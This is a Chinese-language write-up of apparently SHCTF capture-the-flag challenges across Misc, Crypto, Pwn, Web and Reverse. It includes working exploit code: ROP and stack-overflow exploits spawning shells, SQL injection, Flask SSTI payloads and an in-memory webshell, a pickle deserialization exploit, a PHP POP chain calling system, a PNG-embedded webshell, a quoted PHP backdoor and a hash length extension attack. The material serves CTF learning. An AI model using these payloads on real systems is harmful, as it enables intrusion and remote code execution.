总排第28名,后续会对web复现
week1
Misc
签到题
公众号发对应内容就可以得到flag
Rasterizing Traffic
给的流量包,wireshark导出全部内容,中间的三个flag拼接是假的
最后一个导入010得到一个图片,网上搜索了一番知道是光栅隐写吧(是这么叫嘛)直接上exp,会跑出五个图片,拼接一下就行
from PIL import Image
import numpy as np
img = np.array(Image.open('a.png').convert('L')) # 确保图像是灰度的
for i in range(5):
z = np.zeros_like(img) # 创建全黑图像
z[:, i::5] = img[:, i::5] # 仅复制每5个像素的列
Image.fromarray(z).show()
拜师之旅①
给的图片不能正常查看,用010查看给加上正常的png开头给到图片,发现没有flag,crc爆破一下宽高得到flag

有WiFi干嘛不用呢?
简单的学一下
csv里面给了BSSID: EE:52:37:27:75:EB
may里面应该是密码字典,写个脚本提取一下内容,然后kali进行运行
aircrack-ng 01.cap -w pass.txt -b EE:52:37:27:75:EB -e target
import os
directory = 'may'
with open('pass.txt', 'w', encoding='utf-8') as output_file:
files = os.listdir(directory)
for file in files:
file_path = os.path.join(directory, file)
if os.path.isfile(file_path):
try:
with open(file_path, 'r', encoding='utf-8') as f:
content = f.read()
if len(content) > 2:
modified_content = content[1:-2]
else:
modified_content = content # 如果文件内容长度不够,则不进行截取
output_file.write(f"{modified_content}\n")
except Exception as e:
print(f"读取文件 {file} 时出错: {e}")
print("所有文件内容已保存到 pass.txt 中")

真真假假?遮遮掩掩!
第一层我直接用伪加密工具Zipcenop进行的然后到了第二层,给了hint,SHCTF??????FTCHS,有点眼熟可以进行简单的猜测,最后得出是202410,然后带入解压得到flag,在线掩码爆破也行
Crypto
EzAES
from Crypto.Cipher import AES
import os
# 替换为你之前打印的 IV 和 Key
iv = b'\x91\x9c\x9e\x9fP\x98%\xd2{\xbc\xee|\x98c\x00\xd2' # IV
key = b'\x1b\x16\xd9\xc9\xc9\x10[u\xd5\xbeR\x8f\xd0\x99\xfe\xc0' # Key
# 读取密文
ciphertext = b'n\xe0\xe5\xa7W&\x89\x8d\xe5\xbd\xc8\xcf\n]\xbb\xcfF<sm\xae\xb1yY\xaa\x9a\x1a\x93*\x80\xad:Q\xb0\x1d9\xc8w\x08WR\xea\x8c\xca\xd6\x99\xf5\x8b'
# 创建 AES 解密对象
my_aes = AES.new(key, AES.MODE_CBC, iv)
# 解密
plaintext = my_aes.decrypt(ciphertext)
# 去掉填充
plaintext = plaintext.rstrip(b' ')
# 输出解密后的明文
print(plaintext)
Hello Crypto
from Crypto.Util.number import long_to_bytes
m = 215055650564999213787435370441363980894435533627269060323553651075017072071074685867345899498649872049909340326243097196157
flag = long_to_bytes(m)
print(flag)
baby_mod
参考了一下某比赛的wp,需要用到LLL算法,在本地微调之后的脚本如下,不太懂密码,本地的sagemath也不太灵光
from Crypto.Util.number import long_to_bytes
from sage.all import *
# 密文和泄露的信息
c = 11454421006649444523173181606538145863693301443391411104476020392813188354552215237541156121746758260766189373235006192698011018103423719730694468959224
c = int(str(c) + "018990780114999724489697761346835348813863898197690613747060288212872603755938090881078090944985579244137762398288966180345904956701373459097473470489567378")
leak = -1457239467497770923738554308938779252194103808390298333375049349003518667390622623962565986306781435262634228918675745169896226699428349499145721234
leak = int(str(leak) + "545270574817562202671727008676598472467510294490895807123478089330411790070820510557303676413421705544423508474571278325171268094198633442810872810490979940393221644842305735264574402808330041918352683831517808255366623997677143893057026579")
r = 42606828099121205053846991305471624876675634413970417383658101034174961099590991091338816566296815476985911913200609816293298344668685957430209803900543
r = int(str(r) + "7862187841457950962311478142840359604893093112772355204586841584891592754560520121")
t = 43431252615108394128004779879998409954355258544308741393719751627109295930373577434186230529781229842377724105486808348002663162365228575615973691647630
t = int(str(t) + "7150053640166059613223862263789840507159058492697264635797552295028685772559578491")
# 构建矩阵
Ge = Matrix(ZZ, [
[leak, 0, 0, 0],
[r, 1, 0, 0],
[t, 0, 1, 0],
[-1, 0, 0, 2^500]
])
# 对第一列乘以 2^2000
Ge[:, 0] *= 2^2000
# LLL 约简
for line in Ge.LLL():
if line[0] == 0:
p, q = abs(line[1]), abs(line[2])
n = p * q
d = inverse(Integer(65537), (p - 1) * (q - 1))
# 将 m 转换为标准整数
m = pow(c, d, n)
print(long_to_bytes(int(m)))
factor
首先用yafu对N进行分解,然后带入对十选七进行全排列不重复,最后在答案区搜索SHCTF得到flag
from itertools import combinations
from Crypto.Util.number import *
import gmpy2
from math import prod
primes = [
10090316943954343501,
9584538385744661071,
9882099115896276037,
12935778997315545353,
14633606489606944033,
17359021365807747733,
10674490894804861513,
17744376529345008481,
13075868978049623633,
14346486611799750539
]
e = 65537
c = 18791760293830179824015973110611716748918716697136891148879107606156801766019039764839524314819248940389704627215761359769781402984529
N = prod(primes)
for p_list in combinations(primes, 7):
n = prod(p_list)
phi = 1
for p in p_list:
phi *= (p - 1)
d = gmpy2.invert(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m)
print(f"组合: {p_list}, 解密后的 flag: {flag.decode(errors='ignore')}")

Pwn
签个到吧
c\at /f??? 1>&2
No stack overflow1
checksec一下发现有nx保护

ida打开发现有backdoor里面写入了bin/sh
一个gets的栈溢出,前面加\x00可以绕过,上exp
from pwn import *
p = remote('entry.shc.tf',28055)
payload=b'\x00'+b'a'*0x117+p64(0x4011DB)
p.sendline(payload)
p.interactive()
No stack overflow2
checksec一下开了nx

用ida打开,F5查看伪代码,先看main函数,有大小比较用-1绕过,没有system和sh,溢出点在read函数
用ROP gadget –binary ‘vuln’ –only ‘pop|ret’ ,查找rdi和ret的地址
from pwn import *
from LibcSearcher import *
# 设置连接和ELF文件
p = remote('210.44.150.15', 26065)
elf = ELF('./vuln')
# 常量定义
rdi = 0x0401223
ret = 0x040101a
main = 0x401228
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
# 构造第一个payload,泄露puts地址
payload1 = b'a' * 0x108 + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
p.sendline(b'-1')
p.sendline(payload1)
# 接收puts地址并计算libc基址
p.recvuntil('input: ')
puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print(f'puts_addr: {hex(puts_addr)}')
libc = LibcSearcher('puts', puts_addr)
libcbase = puts_addr - libc.dump('puts')
print(f'libcbase: {hex(libcbase)}')
# 计算system和"/bin/sh"地址
sys = libcbase + libc.dump('system')
binsh = libcbase + libc.dump('str_bin_sh')
# 构造第二个payload,执行system("/bin/sh")
p.sendline(b"-1")
payload2 = b'a' * 0x108 + p64(ret) + p64(rdi) + p64(binsh) + p64(sys)
p.sendline(payload2)
p.interactive()

Web
1zflask
先看/robots.txt,再看/s3recttt下载了文件,看一下在/api下面可以执行,进行传参得到flag
?SSHCTFF=cat /flag
ez_gittt
githack坏了,用gitdump下来,然后如下操作

蛐蛐?蛐蛐!
看源码有提示根据提示前往,然后构造payload
?ququ=0114514
ququ=ququk1;system('cat /f*');
jvav
还没学过java,问gpt跑一下
import java.io.BufferedReader;
import java.io.InputStreamReader;
class demo {
public static void main(String[] args) {
String command = "cat /flag"; // 要执行的命令
String result = executeCommand(command);
System.out.println("Command output: " + result);
}
private static String executeCommand(String command) {
StringBuilder output = new StringBuilder();
try {
Process process = Runtime.getRuntime().exec(command);
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
output.append(line).append("\n");
}
reader.close();
} catch (Exception e) {
e.printStackTrace();
}
return output.toString().trim();
}
}
poppopop
<?php
class SH {
public static $Web = true;
public static $SHCTF = true;
}
class C {
public $p;
public function flag()
{
($this->p)();
}
}
class T{
public $n;
public function __destruct()
{
SH::$Web = true;
echo $this->n;
}
}
class F {
public $o;
public function __toString()
{
SH::$SHCTF = true;
$this->o->flag();
}
}
class SHCTF {
public $isyou;
public $flag;
public function __invoke()
{
if (SH::$Web) {
($this->isyou)($this->flag);
}
}
}
$t = new T;
$t->n = new F;
$t->n->o = new C;
$t->n->o->p=new SHCTF;
$t->n->o->p->isyou='system';
$t->n->o->p->flag='cat /f*';
$exp = serialize($t);
$exp = base64_encode($exp);
echo $exp;
单身十八年的手速
直接js定位到alert然后base64解密得到flag
MD5 Master
<?php
highlight_file(__file__);
$master = "MD5 master!";
if(isset($_POST["master1"]) && isset($_POST["master2"])){
if($master.$_POST["master1"] !== $master.$_POST["master2"] && md5($master.$_POST["master1"]) === md5($master.$_POST["master2"])){
echo $master . "<br>";
echo file_get_contents('/flag');
}
}
else{
die("master? <br>");
}
这题一开始的思路就是对的,只是由于编码的问题导致头一天没写出来,先用fastcoll对1.txt进行hash碰撞(内容是MD5 master!),然后用python进行读取内容,我php写的脚本就是一直不对,不知道为什么,然后拼接就可以得到flag了,最好用bp来发,hackbar会用url的编码问题
import urllib.parse
def read_my_file(path):
with open(path, 'rb') as fh:
data = fh.read()
return data
# 指定文件路径
file_path = "test_msg2.txt"
encoded_data = urllib.parse.quote(read_my_file(file_path))
print(f"URL 编码后的内容: {encoded_data}")

Ai
小助手

Re
gamegame
程序简单跑一下,用ida查看一下发现flag就是数独空白下来的拼接,找个在线网站填一下数独就行

ezapk
用jeb打开定位一下,同时模拟器查看一下是什么apk

写exp
import base64
def decode(encoded_str, key):
decoded_bytes = base64.b64decode(encoded_str)
decrypted_chars = []
for i, byte in enumerate(decoded_bytes.decode('utf-8')):
char_value = ord(byte)
char_value //= 2
char_value -= 6
decrypted_char = char_value ^ key[i % len(key)]
decrypted_chars.append(chr(decrypted_char))
return ''.join(decrypted_chars)
key = [12, 15, 25, 30, 36]
# 加密后的字符串
encoded_str = "woLDgMOgw7hEwoJQw7zDtsKow7TDpMOMZMOow75QxIbDnsKmw6Z4UMK0w7rCklDCrMKqwqbDtMOOw6DDsg=="
# 执行解密
decrypted_str = decode(encoded_str, key)
print("Decrypted String:", decrypted_str)
print('SHCTF{'+decrypted_str+"}")

ezrc4
看main函数和一些其他加密逻辑rc4解密,跑一下脚本
import struct
def rc4_init(key):
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i]
return S
def rc4_decrypt(data, key):
S = rc4_init(key)
i = j = 0
result = []
for char in data:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
k = S[(S[i] + S[j]) % 256]
result.append(char ^ k ^ 0x66)
return bytes(result)
# 从主函数中提取的加密标志
encrypted_flag = struct.pack('<QQQ', 0x5B3C8F65423FAB21, 0x691AE7846E05170C, 0x111F7077C3)
# 从sub_1200函数中提取的密钥
key = struct.pack('<Q', 0x212179654B6E6546)
# 解密
decrypted = rc4_decrypt(encrypted_flag, key)
# 提取有效的flag部分
flag = decrypted.split(b'}')[0] + b'}'
print("Flag:", flag.decode('ascii'))
ezxor

按逻辑进行简单的xor就行,上exp
#include <iostream>
#include <cstring>
int main() {
char v9[50] = {-61, 105, 114, -60, 103, 74, -24, 17, 67, -49, 'o', '\0', -13, 68, 110, -8, 89, 73, -24, 78, 94, -30, 83, 67, -79, 92}; // flag 加密后的值
char decrypted[50] = {0};
for (int j = 0; j < 50; ++j) {
if (j % 3 == 0) {
decrypted[j] = v9[j] ^ 0x90;
} else if (j % 3 == 1) {
decrypted[j] = v9[j] ^ 0x21;
} else {
decrypted[j] = v9[j] ^ 0x31;
}
}
std::cout << "Decrypted flag: ";
for (int i = 0; i < 50; ++i) {
std::cout << decrypted[i];
}
std::cout << std::endl;
return 0;
}
PPC
绑定QQ账号
在qq群绑定一下就行,然后网站出flag,记得刷新一下就行
week2
web
guess_the_number
import requests
import random
first_num = 2060849645
def find_flag():
for seed in range(1000000, 9999999):
random.seed(seed)
# 生成 first_num,以确保我们使用的是同一个种子
generated_first_num = random.randint(1000000000, 9999999999)
if generated_first_num == first_num:
# 生成 second_num
second_num = random.randint(1000000000, 9999999999)
# 发送请求到 /guess
url = f"http://210.44.150.15:25676/guess?num={second_num}"
response = requests.get(url)
# 打印每次请求的结果
print(
f'Seed: {seed}, First Num: {generated_first_num}, Second Num: {second_num}, Response: {response.text}')
# 检查响应内容中是否包含 flag
if 'flag' in response.text:
print(f'Found flag with seed {seed}: {response.text}')
break # 找到后退出循环
find_flag()
自助查询
前面正常的查询最后一步有提示是注释里,查询 column_comment得到flag
1") UNION SELECT column_name, column_comment FROM information_schema.columns WHERE table_name='flag' --
入侵者禁入
考察的session,需要利用模板注入
python3 flask_session_cookie_manager3.py encode -s '0day_joker' -t '{"role":{"flag":"{{ 7*7 }}","is_admin":1}}'
测试到有注入点
然后测试
TEMPLATE="{\"role\":{\"flag\":\"{% print(url_for.__globals__[\\'__builtins__\\'][\\'eval\\'](\\\"__import__(\\\\\\'os\\\\\\').popen(\\\\\\'ls \\/\\\\\\').read()\\\")) %}\",\"is_admin\":1}}"
python3 flask_session_cookie_manager3.py encode -s '0day_joker' -t "$TEMPLATE"
发现有flag,最后
$ TEMPLATE="{\"role\":{\"flag\":\"{% print(url_for.__globals__[\\'__builtins__\\'][\\'eval\\'](\\\"__import__(\\\\\\'os\\\\\\').popen(\\\\\\'cat \\/flag\\\\\\').read()\\\")) %}\",\"is_admin\":1}}"
python3 flask_session_cookie_manager3.py encode -s '0day_joker' -t "$TEMPLATE"


dickle
pickle序列化,简单的尝试了一下,注意环境需要用linux运行脚本,得到flag
import pickle
import subprocess
import base64
class Exploit:
def __reduce__(self):
# 使用 subprocess 来执行命令并返回其输出
return (subprocess.getoutput, ('cat /flag',))
# 序列化 Exploit 对象
payload = pickle.dumps(Exploit())
encoded_payload = base64.b64encode(payload).decode()
print(encoded_payload)
得到的flag的为类似下方的,需要简单调节拼接一下内容
Deserialized data: ['S', 'H', 'C', 'T', 'F',
登录验证
登陆拿去cookie用jwt_tool爆破一下密钥

前端是弱密码admin:admin,然后也把cookie改一下得到flag

MD5 GOD!(复现)
先看源码
from flask import *
import hashlib, os, random
app = Flask(__name__)
app.config["SECRET_KEY"] = "Th1s_is_5ecr3t_k3y"
salt = os.urandom(16)
def md5(data):
return hashlib.md5(data).hexdigest().encode()
def check_sign(sign, username, msg, salt):
if sign == md5(salt + msg + username):
return True
return False
def getRandom(str_length=16):
random_str =''
base_str ='ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz0123456789'
length =len(base_str) -1
for i in range(str_length):
random_str +=base_str[random.randint(0, length)]
return random_str
users = {}
sign_users = {}
@app.route("/")
def index():
if session.get('sign') == None or session.get('username') == None or session.get('msg') == None:
return redirect("/login")
sign = session.get('sign')
username = session.get('username')
msg = session.get('msg')
if check_sign(sign, username, msg, salt):
sign_users[username.decode()] = 1
return "签到成功"
return redirect("/login")
@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "POST":
username = request.form.get('username')
password = request.form.get('password')
# print(password)
if username in users and users[username] == password:
session["username"] = username.encode()
session["msg"] = md5(salt + password.encode())
session["sign"] = md5(salt + md5(salt + password.encode()) + username.encode())
return "登陆成功"
else:
return "登陆失败"
else:
return render_template("login.html")
@app.route("/users")
def user():
return json.dumps(sign_users)
@app.route("/flag")
def flag():
for user in users:
if sign_users[user] != 1:
return "flag{杂鱼~}"
return open('/flag', 'r').read()
def init():
global users, sign_users
for _ in range(64):
username = getRandom(8)
pwd = getRandom(16)
users[username] = pwd
sign_users[username] = 0
users["student"] = "student"
sign_users["student"] = 0
init()
题目的要求是64个用户全部签到就可以得到flag了
访问/users可以得到用户的信息
/login 路由可以登陆
/ 路由是签到的
/flag可以得到flag
定位一下关键脚本
def check_sign(sign, username, msg, salt):
if sign == md5(salt + msg + username):
return True
return False
@app.route("/")
def index():
if session.get('sign') == None or session.get('username') == None or session.get('msg') == None:
return redirect("/login")
sign = session.get('sign')
username = session.get('username')
msg = session.get('msg')
if check_sign(sign, username, msg, salt):
sign_users[username.decode()] = 1
return "签到成功"
return redirect("/login")
可以知道,只要session里的 sign 和最终 md5(salt + msg + username) 相等即可签到成功
这里的salt是未知的,但最初的账号 student 的所有信息是已知的,可以用这个账号的相关信息来做hash长度拓展攻击
hash长度拓展之前打base有个现成的脚本
接着是session伪造,SECRET_KEY 已经给出是 Th1s_is_5ecr3t_k3y可以调用flask_session_cookie_manager3.py里的代码
import hashlib
import math
from typing import Any, Dict, List
rotate_amounts = [7, 12, 17, 22, 7, 12, 17, 22, 7, 12, 17, 22, 7, 12, 17, 22,
5, 9, 14, 20, 5, 9, 14, 20, 5, 9, 14, 20, 5, 9, 14, 20,
4, 11, 16, 23, 4, 11, 16, 23, 4, 11, 16, 23, 4, 11, 16, 23,
6, 10, 15, 21, 6, 10, 15, 21, 6, 10, 15, 21, 6, 10, 15, 21]
constants = [int(abs(math.sin(i + 1)) * 2 ** 32) & 0xFFFFFFFF for i in range(64)]
functions = 16 * [lambda b, c, d: (b & c) | (~b & d)] + \
16 * [lambda b, c, d: (d & b) | (~d & c)] + \
16 * [lambda b, c, d: b ^ c ^ d] + \
16 * [lambda b, c, d: c ^ (b | ~d)]
index_functions = 16 * [lambda i: i] + \
16 * [lambda i: (5 * i + 1) % 16] + \
16 * [lambda i: (3 * i + 5) % 16] + \
16 * [lambda i: (7 * i) % 16]
def get_init_values(A: int = 0x67452301, B: int = 0xefcdab89, C: int = 0x98badcfe, D: int = 0x10325476) -> List[int]:
return [A, B, C, D]
def left_rotate(x, amount):
x &= 0xFFFFFFFF
return ((x << amount) | (x >> (32 - amount))) & 0xFFFFFFFF
def padding_message(msg: bytes) -> bytes:
"""
在MD5算法中,首先需要对输入信息进行填充,使其位长对512求余的结果等于448,并且填充必须进行,即使其位长对512求余的结果等于448。
因此,信息的位长(Bits Length)将被扩展至N*512+448,N为一个非负整数,N可以是零。
填充的方法如下:
1) 在信息的后面填充一个1和无数个0,直到满足上面的条件时才停止用0对信息的填充。
2) 在这个结果后面附加一个以64位二进制表示的填充前信息长度(单位为Bit),如果二进制表示的填充前信息长度超过64位,则取低64位。
经过这两步的处理,信息的位长=N*512+448+64=(N+1)*512,即长度恰好是512的整数倍。这样做的原因是为满足后面处理中对信息长度的要求。
"""
orig_len_in_bits = (8 * len(msg)) & 0xffffffffffffffff
msg += bytes([0x80])
while len(msg) % 64 != 56:
msg += bytes([0x00])
msg += orig_len_in_bits.to_bytes(8, byteorder='little')
return msg
def md5(message: bytes, A: int = 0x67452301, B: int = 0xefcdab89, C: int = 0x98badcfe, D: int = 0x10325476) -> int:
message = padding_message(message)
hash_pieces = get_init_values(A, B, C, D)[:]
for chunk_ofst in range(0, len(message), 64):
a, b, c, d = hash_pieces
chunk = message[chunk_ofst:chunk_ofst + 64]
for i in range(64):
f = functions[i](b, c, d)
g = index_functions[i](i)
to_rotate = a + f + constants[i] + int.from_bytes(chunk[4 * g:4 * g + 4], byteorder='little')
new_b = (b + left_rotate(to_rotate, rotate_amounts[i])) & 0xFFFFFFFF
a, b, c, d = d, new_b, b, c
for i, val in enumerate([a, b, c, d]):
hash_pieces[i] += val
hash_pieces[i] &= 0xFFFFFFFF
return sum(x << (32 * i) for i, x in enumerate(hash_pieces))
def md5_to_hex(digest: int) -> str:
raw = digest.to_bytes(16, byteorder='little')
return '{:032x}'.format(int.from_bytes(raw, byteorder='big'))
def get_md5(message: bytes, A: int = 0x67452301, B: int = 0xefcdab89, C: int = 0x98badcfe, D: int = 0x10325476) -> str:
return md5_to_hex(md5(message, A, B, C, D))
def md5_attack(message: bytes, A: int = 0x67452301, B: int = 0xefcdab89, C: int = 0x98badcfe,
D: int = 0x10325476) -> int:
hash_pieces = get_init_values(A, B, C, D)[:]
for chunk_ofst in range(0, len(message), 64):
a, b, c, d = hash_pieces
chunk = message[chunk_ofst:chunk_ofst + 64]
for i in range(64):
f = functions[i](b, c, d)
g = index_functions[i](i)
to_rotate = a + f + constants[i] + int.from_bytes(chunk[4 * g:4 * g + 4], byteorder='little')
new_b = (b + left_rotate(to_rotate, rotate_amounts[i])) & 0xFFFFFFFF
a, b, c, d = d, new_b, b, c
for i, val in enumerate([a, b, c, d]):
hash_pieces[i] += val
hash_pieces[i] &= 0xFFFFFFFF
return sum(x << (32 * i) for i, x in enumerate(hash_pieces))
def get_init_values_from_hash_str(real_hash: str) -> List[int]:
"""
Args:
real_hash: 真实的hash结算结果
Returns: 哈希初始化值[A, B, C, D]
"""
str_list: List[str] = [real_hash[i * 8:(i + 1) * 8] for i in range(4)]
# 先按照小端字节序将十六进制字符串转换成整数,然后按照大端字节序重新读取这个数字
return [int.from_bytes(int('0x' + s, 16).to_bytes(4, byteorder='little'), byteorder='big') for s in str_list]
def get_md5_attack_materials(origin_msg: bytes, key_len: int, real_hash: str, append_data: bytes) -> Dict[str, Any]:
"""
Args:
origin_msg: 原始的消息字节流
key_len: 原始密钥(盐)的长度
real_hash: 计算出的真实的hash值
append_data: 需要添加的攻击数据
Returns: 发起攻击需要的物料信息
{
'attack_fake_msg': bytes([...]),
'attack_hash_value': str(a1b2c3d4...)
}
"""
init_values = get_init_values_from_hash_str(real_hash)
# print(['{:08x}'.format(x) for x in init_values])
# 只知道key的长度,不知道key的具体内容时,任意填充key的内容
fake_key: bytes = bytes([0xff for _ in range(key_len)])
# 计算出加了append_data后的真实填充数据
finally_padded_attack_data = padding_message(padding_message(fake_key + origin_msg) + append_data)
# 攻击者提前计算添加了攻击数据的哈希
attack_hash_value = md5_to_hex(md5_attack(finally_padded_attack_data[len(padding_message(fake_key + origin_msg)):],
A=init_values[0],
B=init_values[1],
C=init_values[2],
D=init_values[3]))
fake_padding_data = padding_message(fake_key + origin_msg)[len(fake_key + origin_msg):]
attack_fake_msg = origin_msg + fake_padding_data + append_data
return {'attack_fake_msg': attack_fake_msg, 'attack_hash_value': attack_hash_value}
from flask.sessions import SecureCookieSessionInterface
import requests, json, time
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key
def session_decode(session_cookie_value, secret_key):
""" Decode a Flask cookie """
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
def session_encode(session_cookie_structure, secret_key):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
# session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
def req_index(url, cookie):
# headers = {"Cookie": "session=" + cookie}
cookies = {"session":cookie}
r = requests.get(url, cookies=cookies).text
# print(r)
if '签到成功' not in r:
# print(cookie)
time.sleep(1)
req_index(url, cookie)
# print(r)
def req_user(url):
return json.loads(requests.get(url).text)
def req_login(url):
data = {"username":"student", "password":"student"}
cookie = requests.post(url, data).headers["Set-Cookie"][8:].split(';')[0]
# print(cookie)
return cookie
def hash_Attack(md5_value, key_len, data, attack_data):
attack_materials = get_md5_attack_materials(data, key_len, md5_value.decode(), attack_data)
# print(data)
res = {"username":attack_data, "msg":attack_materials['attack_fake_msg'][:-len(attack_data)], "sign":attack_materials['attack_hash_value'].encode()}
return res
if __name__ == '__main__':
url = "http://210.44.150.15:47666/"
cookie = req_login(url+'login')
users = req_user(url+'users')
secret_key = "Th1s_is_5ecr3t_k3y"
res = session_decode(cookie, secret_key)
for user in users:
if users[user] == 0:
res = hash_Attack(res["sign"], 16, res["msg"]+res["username"], user.encode())
res2 = session_encode(res, secret_key)
# time.sleep(1)
r = req_index(url, res2)
自己一开始其实已经搓好脚本了,但是一直调用不好,就直接上官p了
crypto
魔鬼的步伐
from Crypto.Util.number import long_to_bytes
from math import gcd
def pollard_p1(n):
a = 2
for i in range(2, 100000):
a = pow(a, i, n)
d = gcd(a - 1, n)
if 1 < d < n:
return d
return None
n = 2831832791030609530715813213220019883048914189158756797307958158408447051630508377374040550762130532585789257283656903976093710799661936572635199760487152921738463539735395878201301223666364287975878427298711981759489133322514450542491313745324153974993874104970865609328318781784747005428502998650052645698811657
e = 65537
c = 277886534227205145921457730106662348869574033254759302593748922500501707927099574576237860088700790266316998558285705873756211980752787668038757766667343292786435728705389634346196021354871807428435121426405798244396230131921055698729045936487882618606410991938850305317286706006559422640483458860444177938881800
# 使用 Pollard's p-1 算法来因式分解 n
p = pollard_p1(n)
q = n // p
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
m = pow(c, d, n)
flag = long_to_bytes(m).decode()
print(f"Decrypted flag: {flag}")
worde很大
from Crypto.Util.number import getPrime,long_to_bytes
import gmpy2
n = 130433353485114808362891473473687063450960194937676119243199446452481897128998745221120731419339412044208064119908758711834838645767782724735230587850283436574369664159096103050287644689328716204472869291844135677716993421012781378455475934816332308522080394895659167943720237016096316321598240463439917555281
c = 113481028807797740037371035561982400582216347323064462704823511064717743759816353553711535800864287099830079892568173444272959071112043294532294530031945500092151286531985831158853663827132668376187003261937157640029140101561586890243591683063607063713791333133210662159262006241032211052722483961060241094497
e = 1052399395403315650954843878395162921915412936034670295881299
dp = 10401970562842714823433011053885095731667426359291853822584611025061595365689032401513692452915352091669078429838636807965495759380977994966274049008153199
a = getPrime(10)
p = gmpy2.gcd(pow(a,dp*e,n)-a,n)
m = pow(c,dp,p)
print(long_to_bytes(m))
week3
crypto
babyLCG
from Crypto.Util.number import *
import itertools
# Given parameters
a = 2314263556681405131427434567397721554084880715002737002374447625890031179538396443026861034624920599042538939666756802003
b = 2303270095373091755028150204192621881624870682086240301196159556738806285789162309361059161301421010273000801707364139301
p = 1785338523770596929007042881767789771169994055441005505378421343570059111347682949630788644017267333793887728906549496559
c = [
1241585594145948568010297947806690682620161405184519680517131577883608946115221281877403406394716,
783745699152795646128200231796229145162258118907090494213671524973697625898415316535828899751033,
244960939438293041293560739941286165510749607918699325252666815425914305519670411696985473344258
]
# Define the small_roots function
def small_roots(f, bounds, m=1, d=None):
if not d:
d = f.degree()
R = f.base_ring()
N = R.cardinality()
f /= f.coefficients().pop(0)
f = f.change_ring(ZZ)
G = Sequence([], f.parent())
for i in range(m + 1):
base = N ** (m - i) * f ** i
for shifts in itertools.product(range(d), repeat=f.nvariables()):
g = base * prod(map(power, f.variables(), shifts))
G.append(g)
B, monomials = G.coefficient_matrix()
monomials = vector(monomials)
factors = [monomial(*bounds) for monomial in monomials]
for i, factor in enumerate(factors):
B.rescale_col(i, factor)
B = B.dense_matrix().LLL()
B = B.change_ring(QQ)
for i, factor in enumerate(factors):
B.rescale_col(i, 1 / factor)
H = Sequence([], f.parent().change_ring(QQ))
for h in filter(None, B * monomials):
H.append(h)
I = H.ideal()
if I.dimension() == -1:
H.pop()
elif I.dimension() == 0:
roots = []
for root in I.variety(ring=ZZ):
root = tuple(R(root[var]) for var in f.variables())
roots.append(root)
return roots
return []
# Reconstructing the polynomial
PR.<x, y> = PolynomialRing(Zmod(p))
f = ((c[0] << 80) + x) * a + b - ((c[1] << 80) + y)
# Finding small roots
roots = small_roots(f, (2**80, 2**80), m=4, d=4)
# Calculating the seed
s1 = (c[0] << 80) + roots[0][0]
seed = (s1 - b) * inverse_mod(a, p) % p
# Converting the seed back to bytes
flag = bytes.fromhex(hex(seed)[2:]).decode()
print(flag) # Outputs the original flag
web
小小cms
先试了/admin,有登录窗口,默认密码登陆,简单搜查一下,有个数据库里面插入了flag,dump下来发现是假的flag,然后创建了一个用户试了一下前端传马看看是否执行,不行,没办法去搜了一下7.0的漏洞,直接按照这个url进行shell的https://blog.csdn.net/shelter1234567/article/details/138524342,最后上截图

love_flask
简单的ssti的内存马,测试是没有回显的,我尝试了两种方法,一种是内部弹shell给我vps没有成功,还有一种是直接执行rce,上马
{{ url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/orange', 'orange', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())", {'_request_ctx_stack': url_for.__globals__['_request_ctx_stack'], 'app': url_for.__globals__['current_app']}) }}

拜师之旅·番外
png的二次渲染,上脚本
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./1.png');
?>
执行0=system和post发包1=cat /flag
然后ctrl+s保存图片用记事本看得到flag

hacked_website(复现)
当时扫到了www.zip,下载可以看文件,然后就没思路了当时没想到用d盾扫一下

可以发现是有后面的,定位一下关键文件
文件里有这个门
<?php $a = 'sys';$b = 'tem';$x = $a.$b;if (!isset($_POST['SH'])) {$z = "''";} else $z = $_POST['SH'];?>
/admin里面登陆一下,fuzz一下密码

到对应的php里面输入得到flag明明挺简单的为什么没想到解法,当时全在往typecho的cve里面想

顰(复现)
应该考察的就是算pin,写题的时候其他的数据都找到了没找到console,不明白为什么不触发orz
官p给了一个链接调试应用程序 — Werkzeug 中文文档 (3.0.x) (palletsprojects.com)
By default, , any subdomain, and are trusted. will trust its argument as well. To change this further, use the debug middleware directly rather than through .localhost.localhost127.0.0.1run_simplehostnameuse_debugger=True
需要host是127.0.0.1添加header Host:127.0.0.1剩余的正常都可以找到

/sys/class/net/eth0/address---->b6:45:6c:7d:2e:b1 #mac
